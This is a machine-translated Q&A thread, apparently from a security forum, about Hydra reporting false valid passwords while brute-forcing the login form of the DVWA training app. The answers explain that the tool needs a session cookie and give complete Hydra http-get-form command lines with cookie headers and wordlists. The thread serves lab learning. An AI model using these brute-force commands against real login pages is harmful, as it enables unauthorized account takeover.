web-dev-qa-db-ja.com

有効なパスワードがないときにHydraが16の有効なパスワードを返すのはなぜですか?

私はHydraおよび [〜#〜] dvwa [〜#〜] で遊んでいて、ちょっとした障害にぶつかりました-Hydraが応答して、最初の16個のパスワードがパスワードリストが正しくない場合は正しい。

これは構文エラーだと思いますが、誰かがこれを以前に見たことがあるかどうかはわかりません。私はいくつかのチュートリアルを運が悪かったので、誰かが助けてくれることを願っています。

構文:

hydra 192.168.88.196 -l admin -P /root/lower http-get-form "/dvwa/vulnerabilities/brute/index.php:username=^USER^&password=^PASS^&Login=Login:Username and/or password incorrect."

出力

Hydra v7.3 (c)2012 by van Hauser/THC & David Maciejak - for legal purposes only

Hydra (http://www.thc.org/thc-hydra) starting at 2013-06-05 22:30:51
[DATA] 16 tasks, 1 server, 815 login tries (l:1/p:815), ~50 tries per task
[DATA] attacking service http-get-form on port 80
[80][www-form] Host: 192.168.88.196   login: admin   password: adrianna
[STATUS] attack finished for 192.168.88.196 (waiting for children to finish)
[80][www-form] Host: 192.168.88.196   login: admin   password: adrian
[80][www-form] Host: 192.168.88.196   login: admin   password: aerobics
[80][www-form] Host: 192.168.88.196   login: admin   password: academic
[80][www-form] Host: 192.168.88.196   login: admin   password: access
[80][www-form] Host: 192.168.88.196   login: admin   password: abc
[80][www-form] Host: 192.168.88.196   login: admin   password: admin
[80][www-form] Host: 192.168.88.196   login: admin   password: academia
[80][www-form] Host: 192.168.88.196   login: admin   password: albatross
[80][www-form] Host: 192.168.88.196   login: admin   password: alex
[80][www-form] Host: 192.168.88.196   login: admin   password: airplane
[80][www-form] Host: 192.168.88.196   login: admin   password: albany
[80][www-form] Host: 192.168.88.196   login: admin   password: ada
[80][www-form] Host: 192.168.88.196   login: admin   password: aaa
[80][www-form] Host: 192.168.88.196   login: admin   password: albert
[80][www-form] Host: 192.168.88.196   login: admin   password: alexander
1 of 1 target successfuly completed, 16 valid passwords found
Hydra (http://www.thc.org/thc-hydra) finished at 2013-06-05 22:30:51

[〜#〜]編集[〜#〜]

私は管理者の資格情報を強引に強制することに成功しました。 DVWAに認証されたら、Cookie情報を見つける必要がありました(ブラウザーまたはBurp Suiteを介して簡単に実行できます)。 cookie情報を取得したら、次のコマンドを実行して機能しました。

hydra 192.168.88.196 -l admin -P /root/lower http-get-form "/dvwa/vulnerabilities/brute/index.php:username=^USER^&password=^PASS^&Login=Login:Username and/or password incorrect.:H=Cookie: security;low;PHPSESSID=<value for PHP SESSID cookie"
26
DKNUCKLES

DVWAで遊んでいるときにも同じ問題が発生しました。その理由は、認証が必要なYOUR_SERVER/dvwa/vulnerabilities/brute/index.phpを総当たりしようとしているためです。ブラウザでそのページにアクセスしようとすると、ユーザー名とパスワード(ブルートフォースしようとしているものとは異なるフォーム)の入力を求められます

だから、これを総当たりしようとしている間:
hydra-brute-force

Hydraは実際にこれを「見て」います。
hydra-login

2番目のフォームでは、メッセージ"Username and/or password wrong。"は表示されません。これは、ログインの失敗と成功の区別に使用するようにHydraに指示したものです。 Hydraはログイン失敗メッセージを認識しないため、ログインが成功したと想定しています。

したがって、ブラウザを使用してログインし、セッションCookie(デフォルトではPHPSESSID)を取得して、Hydraにフィードする必要がありますthen Hydraは最初の形。

おそらく、HydraのHTTPヘッダーにH=Cookie:NAME=VALUEを実行するか、HydraにC=/path/to/fileを実行してCookieを設定するファイルを指定することで、Cookieを設定できると考えられます。残念ながら、これらのどれもうまくいきませんでした。

イライラした後、ファイル/dvwa/vulnerabilities/brute/index.phpのLine:5(dvwaPageStartup)にコメントし、Hydraが実際の脆弱なログインフォームを確認できるようにしました。

25
Adi

これは私のために働いたものです:

hydra 192.168.56.2 -l admin -P /home/user/Downloads/pass.txt http-get-form "/vulnerabilities/brute/index.php:username=^USER^&password=^PASS^&Login=Login:Username and/or password incorrect.:H=Cookie: security=low;PHPSESSID=n5ggv5f2b3vcrl9fe15nqu6v95"

4
enigma

構文に関しては、Hydraは非常に寛容ではないようです。 「URLライク」形式を使用して、モジュール、ホスト、パスを指定できます。

私はそこに着くまでに少し時間がかかりましたが、これは私のために働いたものです(hackmeはホストです):

hydra -V -l smithy -P /usr/share/wordlists/rockyou.txt "http-get-form://hackme/dvwa/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:F=incorrect:H=Cookie: PHPSESSID=07b7ebb2faea96f8471ecdb759e68108; security=low"

2015年4月を編集

彼らはそれを変更したようで、上記のフォーマットはもはや機能しません。ただし、これは受け入れられます。

hydra hackme -V -l smithy -P /usr/share/wordlists/rockyou.txt http-get-form "/dvwa/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:F=incorrect:H=Cookie: PHPSESSID=07b7ebb2faea96f8471ecdb759e68108; security=low"

私が陥りがちな問題は、デバッグに非常に長い時間を費やしていたため、PHPセッションIDがタイムアウトになりました。これを更新すると、機能し始めました。

もう1つの問題は、Wiresharkを使用してデバッグしているときでした。最初のHTTPリクエストを取得して、ユーザー名とパスワードのパラメーターが渡されなかった理由を知りました。 Hydraは最初にパラメーターなしでURLにHTTPリクエストを行うようです。

3
SilverlightFox